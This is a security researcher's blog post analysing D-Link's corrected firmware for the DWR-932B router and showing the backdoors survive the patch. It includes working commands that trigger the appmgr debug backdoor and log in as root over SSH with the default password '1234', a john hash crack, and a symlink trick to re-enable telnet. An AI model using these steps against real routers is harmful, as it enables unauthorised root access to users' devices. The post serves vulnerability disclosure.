A slice of Kimchi - IT Security Blog

HomeAboutFeed

Update - Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...) - Analysis of the corrected firmware

An update on the post "Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...)":

MITRE has provided me with CVE numbers.

Although D-link did not acknowledge all the vulnerabilities on its products, it released a new firmware on Oct 19, 2016 (DWR-932_fw_revB_2_03_eu_en_20161011.zip) that should fix several RCEs and backdoors. According to D-Link, there is no vulnerability as long as "potential attackers cannot connect to the secure wi-fi network"[1] - does it mean the product is secure as long as there are no attackers?

A reader will note that D-Link did have a full advisory with PoCs for more than 100 days while taking no actions before public disclosure and he/she will surely be able to verify the vulnerabilities by downloading an affected firmware and reversing the binaries (see my blog post for details).

D-Link did not make any effort to contact the security researcher even after the initial advisory was published, but it posted its official answers and patches on their website that the security researcher found "by chance".

However, the corrected firmware still appears to have the backdoor in execution. The only security patches they made were:

  1. renaming /sbin/telnetd to /sbin/xxlnetd (so the appmgr backdoor cannot be used by an attacker),
  2. dropbear is now listening to port 47980/tcp or to port 999999999/tcp instead of 22/tcp (still with root/1234).

The appmgr backdoor is still present and running but ineffective (as /sbin/telnetd doesn't exist anymore):

root@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 <- will NOT start a telnetd on port 23/tcp
                                                             because /sbin/telnetd was removed

Interesting fact: Starting Dropbear with port 999999999/tcp will result in dropbear using the port 51711/tcp instead (999999999 & 0xFFFF).

So, an attacker can still use the backdoor access to continue to root the device. With SSH:

root@kali:~$ ssh -l root -p 47980 192.168.1.1 <- will provide a root shell with "1234" as a password.

OR

root@kali:~$ ssh -l root -p 51711 192.168.1.1 <- will provide a root shell with "1234" as a password.

Following the reaction from D-Link and the lack of quality of the security patches, I finally advise users to trash their affected routers and I encourage security researchers to review security patches provided from D-Link instead of blindly trusting them.

Note that future 0day vulnerabilities regarding D-Link products may be released at my will without coordinated disclosure ("Full disclosure").

"ALTERNATIVE FACT" - backdoor access are still present inside the new firmware:

I would like to thank Gianni Carabelli for finding the password of the zip file provided by D-Link.

root@kali:~# wget ftp://anonymous:lolz@ftp.dlink.eu/Products/dwr/dwr-932/driver_software/DWR-932_fw_revB_2_03_eu_en_20161011.zip
root@kali:~# sha256sum DWR-932_fw_revB_2_03_eu_en_20161011.zip # in case of a modification of this file by D-link
fb721979b235c9da9a9b8e505767ce04410b8c7f5035a73ac2c4cc0b9cada3bd DWR-932_fw_revB_2_03_eu_en_20161011.zip
root@kali:~# dd if=DWR-932_fw_revB_2_03_eu_en_20161011.zip of=firmware.zip bs=64 skip=1
993106+1 records in
993106+1 records out
63558829 bytes (64 MB) copied, 1.29239 s, 49.2 MB/s
root@kali:~# mkdir output && cd output && 7z x -pbeUT9Z ../firmware.zip
root@kali:~/output# 7z x -pbeUT9Z firmware.zip

7-Zip 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU)

Processing archive: ../firmware.zip

Extracting  02.03EU
Extracting  2K-cksum.txt
Extracting  2K-mdm-image-mdm9625.yaffs2
Extracting  appsboot.mbn
Extracting  mba.mbn
Extracting  mdm-image-boot-mdm9625.img
Extracting  mdm-image-mdm9625.yaffs2
Extracting  mdm-recovery-image-boot-mdm9625.img
Extracting  mdm-recovery-image-mdm9625.yaffs2
Extracting  mdm9625-usr-image.usrfs.yaffs2
Extracting  qdsp6sw.mbn
Extracting  rpm.mbn
Extracting  sbl1.mbn
Extracting  tz.mbn
Extracting  wdt.mbn

Everything is Ok

Files: 15
Size:       145018347
Compressed: 63558829
root@kali:~/output# ls -latr
total 141640
-rwx------ 1 root root     7840 Jul 18  2014 wdt.mbn
-rwx------ 1 root root   266648 Jul 18  2014 tz.mbn
-rwx------ 1 root root   262144 Jul 18  2014 sbl1.mbn
-rwx------ 1 root root   147432 Jul 18  2014 rpm.mbn
-rwx------ 1 root root 42338681 Jul 18  2014 qdsp6sw.mbn
-rw------- 1 root root  3823616 Jul 18  2014 mdm-recovery-image-boot-mdm9625.img
-rw------- 1 root root  3823616 Jul 18  2014 mdm-image-boot-mdm9625.img
-rwx------ 1 root root   365464 Jul 18  2014 mba.mbn
-rwx------ 1 root root    69872 Jul 18  2014 appsboot.mbn
-rw------- 1 root root 14733312 Oct 10 23:16 mdm-recovery-image-mdm9625.yaffs2
-rw------- 1 root root 25869888 Oct 10 23:16 mdm-image-mdm9625.yaffs2
-rw------- 1 root root 25869888 Oct 11 02:37 2K-mdm-image-mdm9625.yaffs2
-rw------- 1 root root 27439104 Oct 11 03:19 mdm9625-usr-image.usrfs.yaffs2
-rw------- 1 root root      842 Oct 11 03:19 2K-cksum.txt
-rw------- 1 root root        0 Oct 11 03:19 02.03EU
drwx------ 2 root root      340 Nov 10 17:07 .
drwx------ 3 root root       80 Nov 10 17:24 ..
root@kali:~/output# mkdir 1 && cd 1 && unyaffs ../mdm9625-usr-image.usrfs.yaffs2

Only etc/versions was updated in mdm9625-usr-image.usrfs.yaffs2. No useful information.

Diff is:

1c1
< fw_version=02.02EU
---
> fw_version=02.03EU
7c7
< model_name=beUT9Z
---
> model_name=beUT9Z#

mdm-recovery-image-mdm9625.yaffs2 was unchanged compared to 2.02 version.

Let's dig 2K-mdm-image-mdm9625.yaffs2:

root@kali:~/output/1# cd .. && mkdir 2 && cd 2 && unyaffs ../2K-mdm-image-mdm9625.yaffs2
root@kali:~/output/2# ls -latr
total 4
drwxr-xr-x  2 root root   40 Jul 18  2014 sys
drwxr-xr-x  2 root root   40 Jul 18  2014 proc
drwxr-xr-x  2 root root 1300 Jul 18  2014 dev
drwxr-xr-x  2 root root   40 Jul 18  2014 boot
drwxr-xr-x  7 root root  240 Jul 18  2014 var
lrwxrwxrwx  1 root root    8 Jul 18  2014 www -> /usr/www
lrwxrwxrwx  1 root root   11 Jul 18  2014 sdcard -> /media/card
drwxr-xr-x  2 root root  120 Jul 18  2014 mnt
drwxr-xr-x 10 root root  200 Jul 18  2014 media
drwxr-sr-x  3 root root   60 Jul 18  2014 home
drwxr-xr-x  2 root root   60 Jul 18  2014 disk
drwxr-xr-x  3 root root   60 Jul 18  2014 WEBSERVER
lrwxrwxrwx  1 root root   12 Jul 18  2014 linuxrc -> /bin/busybox
drwxr-xr-x  2 root root 6020 Jul 18  2014 bin
drwxr-xr-x  2 root root   40 Jul 18  2014 usr
drwxrwxrwt  2 root root   40 Jul 18  2014 tmp
drwxr-xr-x  4 root root 1140 Jul 18  2014 lib
drwxr-xr-x 31 root root 1680 Jul 18  2014 etc
drwxr-xr-x  2 root root   40 Jul 18  2014 config2
drwxr-xr-x  2 root root   40 Jul 18  2014 config
drwxr-xr-x  2 root root   40 Jul 18  2014 cache
-rw-r--r--  1 root root   38 Jul 18  2014 build.prop
drwxr-xr-x 21 root root  500 Jul 18  2014 .
drwxr-xr-x  2 root root 3040 Oct 10 23:12 sbin
drwx------  4 root root  380 Nov 10 17:26 ..
root@kali:~/output/2# ls -latr etc/init.d|tail
-rwxr-xr-x  1 root root  2015 Jul 18  2014 reboot
-rwxr-xr-x  1 root root 10835 Jul 18  2014 power_config
-rwxr-xr-x  1 root root  2138 Jul 18  2014 start_ipacm_le
-rwxr-xr-x  1 root root   609 Jul 18  2014 run-postinsts
-rwxr-xr-x  1 root root  2178 Jul 18  2014 start_appmgr
lrwxrwxrwx  1 root root     8 Jul 18  2014 stop-bootlogd -> bootlogd
lrwxrwxrwx  1 root root    14 Jul 18  2014 syslog -> syslog.busybox
drwxr-xr-x 31 root root  1680 Jul 18  2014 ..
-rwxr-xr-x  1 root root  2681 Oct 11 02:33 dropbear
drwxr-xr-x  2 root root  1180 Oct 11 02:33 .
root@kali:~/output/2#

Backdoor is still started at boot (same SHA256):

root@kali:~/output/2# ls -latr ./etc/init.d/start_appmgr
-rwxr-xr-x 1 root root 2178 Jul 18  2014 ./etc/init.d/start_appmgr
root@kali:~/output/2# ls -latr bin/appmgr
-rwxr-xr-x 1 root root 505728 Jul 18  2014 bin/appmgr
root@kali:~/output/2# sha256sum bin/appmgr
5f1647729327423f525de194322d532acae86d7f4265dc886535fe1252cb4f20 bin/appmgr
root@kali:~/output/2# strings bin/appmgr|grep -i DBG
am_comdbg
HELODBG
BYEDBG
[DBG] Read content <%s> from file...
/var/lte6dbg.log
/var/bgdbg.log
/config/dbglog_ipt6
/var/cmdbg.log
root@kali:~/output/2#

Wow a patch ! Dropbear will listen to port 999999999/tcp (are you sure you want to do this because 999999999 & 0xFFFF = 51711 ?)

root@kali:~/output/2# head -n 30 etc/init.d/dropbear 
#!/bin/sh
### BEGIN INIT INFO
# Provides:             sshd
# Required-Start:       $remote_fs $syslog $networking
# Required-Stop:        $remote_fs $syslog
# Default-Start:        2 3 4 5
# Default-Stop:         1
# Short-Description:    Dropbear Secure Shell server
### END INIT INFO
#
# Do not configure this file. Edit /etc/default/dropbear instead!
#

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/dropbear
NAME=dropbear
DESC="Dropbear SSH server"

DROPBEAR_PORT=999999999
DROPBEAR_EXTRA_ARGS=
NO_START=0

set -e

test ! -r /etc/default/dropbear || . /etc/default/dropbear
test "$NO_START" = "0" || exit 0
test -x "$DAEMON" || exit 0
test ! -h /var/service/dropbear || exit 0

readonly_rootfs=0
root@kali:~/output/2#

Still the same passwords (root / 1234):

root@kali:~/output/2# john etc/shadow  
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2])
Press 'q' or Ctrl-C to abort, almost any other key for status
1234             (root)
1g 0:00:00:00 100% 2/3 12.50g/s 25162p/s 25162c/s 25162C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now with mdm-image-mdm9625.yaffs2 (this appears to be a "test image", without the dropbear tweak):

root@kali:~/output/2# cd .. && mkdir 3 && cd 3 && unyaffs ../mdm-image-mdm9625.yaffs2

Backdoor is still started at boot (same SHA256):

root@kali:~/output/3# ls -latr ./etc/init.d/start_appmgr
-rwxr-xr-x 1 root root 2178 Jul 18  2014 ./etc/init.d/start_appmgr
root@kali:~/output/3# ls -latr bin/appmgr
-rwxr-xr-x 1 root root 505728 Jul 18  2014 bin/appmgr
root@kali:~/output/3# sha256sum bin/appmgr
5f1647729327423f525de194322d532acae86d7f4265dc886535fe1252cb4f20  bin/appmgr
root@kali:~/output/3# strings bin/appmgr|grep -i DBG
am_comdbg
HELODBG
BYEDBG
[DBG] Read content <%s> from file...
/var/lte6dbg.log
/var/bgdbg.log
/config/dbglog_ipt6
/var/cmdbg.log
root@kali:~/output/3#

Wow, the final patch! Dropbear is now listening to port 47980/tcp.

root@kali:~/output/3# ls -latr etc/init.d|tail
-rwxr-xr-x  1 root root  2015 Jul 18  2014 reboot
-rwxr-xr-x  1 root root 10835 Jul 18  2014 power_config
-rwxr-xr-x  1 root root  2138 Jul 18  2014 start_ipacm_le
-rwxr-xr-x  1 root root   609 Jul 18  2014 run-postinsts
-rwxr-xr-x  1 root root  2178 Jul 18  2014 start_appmgr
lrwxrwxrwx  1 root root     8 Jul 18  2014 stop-bootlogd -> bootlogd
lrwxrwxrwx  1 root root    14 Jul 18  2014 syslog -> syslog.busybox
drwxr-xr-x 31 root root  4096 Jul 18  2014 ..
-rwxr-xr-x  1 root root  2677 Oct 10 23:11 dropbear
drwxr-xr-x  2 root root  4096 Oct 10 23:11 .
root@kali:~/output/3# head -n 30 etc/init.d/dropbear
#!/bin/sh
### BEGIN INIT INFO
# Provides:   sshd
# Required-Start: $remote_fs $syslog $networking
# Required-Stop:  $remote_fs $syslog
# Default-Start:  2 3 4 5
# Default-Stop:   1
# Short-Description:  Dropbear Secure Shell server
### END INIT INFO
#
# Do not configure this file. Edit /etc/default/dropbear instead!
#

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/dropbear
NAME=dropbear
DESC="Dropbear SSH server"

DROPBEAR_PORT=47980
DROPBEAR_EXTRA_ARGS=
NO_START=0

set -e

test ! -r /etc/default/dropbear || . /etc/default/dropbear
test "$NO_START" = "0" || exit 0
test -x "$DAEMON" || exit 0
test ! -h /var/service/dropbear || exit 0

readonly_rootfs=0

It took 5 months for D-Link to produce these security patches. It appears only 1 vulnerability was patched.

Diff between 2.02 version (vulnerable) and 2.03 version ("patched"):

root@kali:~# diff 202/2K/etc/init.d/dropbear 203/2K/etc/init.d/dropbear
19c19
< DROPBEAR_PORT=22
---
> DROPBEAR_PORT=999999999
root@kali:~#

And:

> /sbin/xxlnetd
< /sbin/telnetd

And finally:

root@kali:~# diff 202/usr/etc/versions 203/usr/etc/init.d/dropbear
< fw_version=02.02EU
---
> fw_version=02.03EU
7c7
< model_name=beUT9Z
---
> model_name=beUT9Z#
root@kali:~#

And the final PoC:

root@kali:~# ssh -l root -p 51711 192.168.1.1
The authenticity of host '[192.168.1.1]:51711 ([192.168.1.1]:51711)' can't be established.
RSA key fingerprint is SHA256:0RCgva9fjvPn6TkN89hkVQHIpHkKfvfsGmYtnOgki0g.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[192.168.1.1]:51711' (RSA) to the list of known hosts.
root@192.168.1.1's password: 
root@homerouter:~# ps -a|grep dropbear
  352 root       0:00 /usr/sbin/dropbear -r /etc/dropbear/dropbear_rsa_host_key -p 999999999
 1190 root       0:00 /usr/sbin/dropbear -r /etc/dropbear/dropbear_rsa_host_key -p 999999999
 1203 root       0:00 grep dropbear
root@homerouter:~# netstat -antelapu|grep drop
tcp        0      0 0.0.0.0:51711           0.0.0.0:*               LISTEN      318/dropbear
tcp        0      0 192.168.1.1:51711       192.168.1.2:44924       ESTABLISHED 1061/dropbear
tcp        0      0 :::51711                :::*                    LISTEN      318/dropbear
root@homerouter:~#

Then, the DBG backdoor can be reactivated by an attacker just by adding a symlink from /sbin/telnetd to /sbin/busybox.

published on 2017-02-02 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>